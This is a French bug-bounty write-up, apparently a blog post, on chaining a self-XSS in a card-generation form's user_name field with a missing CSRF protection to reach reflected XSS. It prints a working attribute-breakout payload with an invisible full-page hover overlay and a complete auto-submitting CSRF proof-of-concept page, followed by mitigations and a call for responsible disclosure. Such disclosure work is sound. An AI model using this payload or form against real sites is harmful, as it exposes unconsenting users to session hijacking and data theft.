De Self-XSS à XSS Réfléchi : Une Histoire d'Escalade via CSRF

root@thebughunter:~$ cat escalade_vulnerabilite.txt
Cible : Fonctionnalité de Génération de Cartes
Découverte Initiale : Self-XSS (Impact Faible)
Vecteur d'Escalade : Vulnérabilité CSRF
Impact Final : XSS Réfléchi (Impact Moyen)
La Découverte Initiale
Je testais une fonctionnalité de génération de cartes sur un programme de bug bounty quand j'ai trouvé ce qui ressemblait à une vulnérabilité self-XSS. Rien de spécial à première vue — juste un autre champ de saisie qui reflétait les données utilisateur sans assainissement approprié.
L'application permettait aux utilisateurs de créer des cartes personnalisées en entrant leur nom et d'autres informations.
DÉCOUVERTE INITIALE
Vulnérabilité : Self-XSS dans un champ de saisie
Impact : Limité à la session de l'attaquant
Sévérité : Faible (généralement rejeté)
La vulnérabilité se trouvait dans le paramètre user_name. J'ai pu échapper du contexte HTML avec un payload comme celui-ci :
user_name=test"onmouseover="alert('XSS')"style="position:absolute;width:100%;height:100%;top:0;left:0;"payload
L'application le reflétait sans assainissement, créant une superposition invisible qui déclenchait le XSS au survol de la souris. Cool, mais inutile puisque cela n'affectait que ma propre session. La plupart des programmes ne regarderont même pas les rapports de self-XSS.
Trouver la Pièce Manquante
Mais ensuite, j'ai remarqué quelque chose d'intéressant en fouillant dans l'application — le endpoint de génération de cartes n'avait absolument aucune protection CSRF.
FAIBLESSE DE SÉCURITÉ IDENTIFIÉE
× Aucun jeton CSRF implémenté
× Les cookies n'étaient pas nécessaires
× Requêtes cross-origin acceptées
✓ Requête POST vulnérable au CSRF
Si je pouvais créer une page malveillante qui soumettait automatiquement le payload XSS, je pourrais transformer ce self-XSS inutile en une véritable vulnérabilité XSS réfléchi.
Chaîner les Vulnérabilités
Voici comment j'ai assemblé le tout :
Étape 1 : Construire le PoC CSRF
J'ai créé un simple fichier HTML qui soumettrait automatiquement une requête POST avec mon payload XSS :
<html>
<body>
<script>history.pushState('', '', '/');</script>
<form action="https://example-target.com/generate-card" method="POST">
<input type="hidden" name="first_name" value="John" />
<input type="hidden" name="last_name" value="Doe" />
<input type="hidden" name="card_type" value="standard" />
<input type="hidden" name="user_name" value="test"onmouseover="alert('XSS')"style="position:absolute;width:100%;height:100%;top:0;left:0;"payload" />
<input type="hidden" name="template_id" value="12345" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
Étape 2 : Comprendre la Réponse
Quand le formulaire est soumis, le payload se reflète dans le bouton de téléchargement :
<div class="download-container">
<a href="#"
id="download_link"
download="card_by_test"onmouseover="alert('XSS')"style="position:absolute;width:100%;height:100%;top:0;left:0;"payload.png">
<img src="/icons/download.svg" alt="Download">
Download Card
</a>
</div>
Étape 3 : Le Flux d'Attaque
Quand une victime visite ma page malveillante, le formulaire se soumet automatiquement au endpoint vulnérable. La réponse revient avec mon payload XSS intégré. Dès qu'elle bouge sa souris (ce qui arrive pratiquement immédiatement), le JavaScript s'exécute dans son contexte navigateur.
La Différence d'Impact
AVANT (Self-XSS)
APRÈS (XSS Réfléchi via CSRF)
- Avant : Je ne peux attaquer que moi-même. Inutile.
- Après : Je peux attaquer quiconque visite une page que je contrôle. La victime n'a même pas besoin d'être connectée au site cible quand elle visite ma page.
Là on parle d'un vrai impact — détournement de session, vol de données, attaques de phishing…
Décomposition du Payload
Regardons ce qui fait fonctionner ce payload XSS :
test"onmouseover="alert('XSS')"style="position:absolute;width:100%;height:100%;top:0;left:0;"payload
Comment ça marche :
test"- Sort du contexte d'attribut HTMLonmouseover="alert('XSS')"- Notre gestionnaire d'événement qui exécute le XSSstyle="position:absolute;width:100%;height:100%;top:0;left:0;"- Crée un élément invisible couvrant toute la pagepayload- Complète l'injection sans casser le HTML
La superposition invisible est la clé ici. Elle garantit que tout mouvement de souris déclenchera notre payload. La victime ne voit rien de suspect, mais au moment où elle bouge son curseur, c'est terminé.
La Chaîne d'Attaque Complète
DÉCOMPOSITION DE LA CHAÎNE D'ATTAQUE
Ce que j'ai Appris
POINTS CLÉS À RETENIR
Pour les chasseurs de bugs :
Quand vous trouvez un self-XSS, ne fermez pas l'onglet pour passer à autre chose. Prenez quelques minutes pour vérifier :
- Y a-t-il une protection CSRF sur le endpoint vulnérable ?
- Pouvez-vous déclencher le payload dans le contexte navigateur de quelqu'un d'autre ?
- Y a-t-il d'autres vulnérabilités avec lesquelles vous pouvez le chaîner ?
Parfois, la différence entre un rapport rejeté et une découverte critique n'est qu'un peu de recherche supplémentaire.
Pour les développeurs :
La défense en profondeur est importante. Cette chaîne de vulnérabilités a fonctionné grâce à deux défaillances de sécurité distinctes :
- Aucun assainissement des entrées / encodage des sorties
- Aucune protection CSRF
Si l'une des deux avait été correctement implémentée, l'attaque n'aurait pas fonctionné.
Stratégies d'Atténuation
CORRECTIONS RECOMMANDÉES
Validation des Entrées & Encodage des Sorties
• Encoder en HTML toutes les entrées utilisateur avant de les refléter dans les réponses
• Implémenter des en-têtes Content Security Policy (CSP)
• Utiliser un encodage des sorties adapté au contexte
• Valider les entrées côté client et côté serveur
Protection CSRF
• Ajouter des jetons CSRF à tous les formulaires qui modifient l'état
• Implémenter l'attribut SameSite sur les cookies (Strict ou Lax)
• Vérifier les en-têtes Origin et Referer
Le Résultat
Cette technique d'escalade a transformé ce qui aurait été un rejet instantané en une découverte valide de sévérité moyenne :
- Évaluation Initiale : Self-XSS → Rejeté/Informatif
- Après Escalade : XSS Réfléchi via CSRF → Moyen
- Impact Réel : Prise de contrôle de compte, vol de données, détournement de session
Le programme a accepté le rapport et il a finalement été corrigé. La clé était de démontrer que la vulnérabilité pouvait réellement affecter de vrais utilisateurs, pas seulement moi-même.
Réflexions Finales
Ce cas montre pourquoi la pensée créative compte dans le bug bounty. Les vulnérabilités de sécurité existent rarement de manière isolée. Ce qui ressemble à une impasse pourrait en fait faire partie d'une chaîne d'attaque plus sérieuse.
Le self-XSS était inutile seul. La protection CSRF manquante n'était pas immédiatement exploitable non plus. Mais ensemble ? Ils ont créé une vulnérabilité valide.
Cherchez toujours la vue d'ensemble. Testez comment différentes faiblesses peuvent se combiner. Et surtout, ne rejetez pas trop vite des découvertes juste parce qu'elles semblent avoir un faible impact à première vue.
Un dernier point — la divulgation responsable est non négociable. Signalez toujours via les canaux appropriés et donnez au programme le temps de corriger les problèmes avant de publier des détails.
[PROCHAINES_ÉTAPES]
Vous voulez en apprendre plus sur les vulnérabilités ou comment débuter dans le bug hunting ?
→ Analyse IDOR : Plus de 200 Cas Réels
→ Mon Parcours de Certification BSCP